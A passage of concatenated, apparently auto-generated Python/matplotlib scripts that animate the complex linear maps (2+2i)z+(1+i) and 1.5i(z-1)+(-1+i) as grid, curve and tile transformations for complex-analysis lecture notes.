    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * ((2+2j)*z + (1+1j))
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'every point moves in a straight line from $z$ to $(2+2i)z+(1+i)$'
TITLE = '$w=(1-s)\\,z+s\\,((2+2i)z+(1+i)),\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-1, 1, -1, 1, 5, 5)
AVOID = []
EXTRAS = [('np.exp(2j*pi*u)', 'tab:green'), ('(-1.5+3*u)+0j', 'tab:purple'), ('poly([-0.2-0.5j, -0.2+0.5j, 0.3+0.5j, -0.2+0.5j, -0.2+0.1j, 0.15+0.1j], u)', 'k')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The linear map $(2+2i)z+(1+i)$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Definition 8.1 and Proposition 8.2, p. 42 (ch08-linear.tex:6, 18); Theorem 8.4 and plate, p. 42 (ch08:54, 100); Example 8.5, p. 43 (ch08:128)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: np.exp(1j*pi/4*seg(s,0,1/3)) * (2*np.sqrt(2))**seg(s,1/3,2/3) * z + (1+1j)*seg(s,2/3,1)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'rotate by $45^\\circ$, magnify by $2\\sqrt{2}$, translate by $1+i$ (Theorem 8.4);\nthe F is never mirrored'
TITLE = '$\\mathrm{rotate},\\ \\mathrm{magnify},\\ \\mathrm{translate},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-1, 1, -1, 1, 5, 5)
AVOID = []
EXTRAS = [('np.exp(2j*pi*u)', 'tab:green'), ('(-1.5+3*u)+0j', 'tab:purple'), ('poly([-0.2-0.5j, -0.2+0.5j, 0.3+0.5j, -0.2+0.5j, -0.2+0.1j, 0.15+0.1j], u)', 'k')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The linear map $(2+2i)z+(1+i)$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Definition 8.1 and Proposition 8.2, p. 42 (ch08-linear.tex:6, 18); Theorem 8.4 and plate, p. 42 (ch08:54, 100); Example 8.5, p. 43 (ch08:128)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: np.exp(1j*pi/4*seg(s,0,1/3)) * (2*np.sqrt(2))**seg(s,1/3,2/3) * z + (1+1j)*seg(s,2/3,1)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'a similarity: every tile stays a square, all scaled by $|a|=2\\sqrt{2}$'
TITLE = '$\\mathrm{rotate},\\ \\mathrm{magnify},\\ \\mathrm{translate},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'cart', (-1, 1, -1, 1, 4, 4)
HILITE = [9, 2]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""A disc onto a disc: $1.5\,i(z-1)+(-1+i)$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Example 8.6, p. 43 (ch08:139) -- values chosen here: $z_0=1$, $r=1$, $w_0=-1+i$, $R=1.5$, $\alpha=\pi/2$
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (1.5j*(z-1) + (-1+1j))
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'every point moves in a straight line from $z$ to $1.5i(z-1)+(-1+i)$'
TITLE = '$w=(1-s)\\,z+s\\,(1.5i(z-1)-1+i),\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (0, 2, -1, 1, 5, 5)
AVOID = []
EXTRAS = [('1+np.exp(2j*pi*u)', 'tab:green')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""A disc onto a disc: $1.5\,i(z-1)+(-1+i)$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Example 8.6, p. 43 (ch08:139) -- values chosen here: $z_0=1$, $r=1$, $w_0=-1+i$, $R=1.5$, $\alpha=\pi/2$
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: np.exp(1j*pi/2*seg(s,.25,.5)) * 1.5**seg(s,.5,.75) * (z - seg(s,0,.25)) + (-1+1j)*seg(s,.75,1)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'move $z_0$ to $0$, rotate by $\\alpha$, magnify by $R/r$, move $0$ to $w_0$:\n$D(z_0,r)$ onto $D(w_0,R)$'
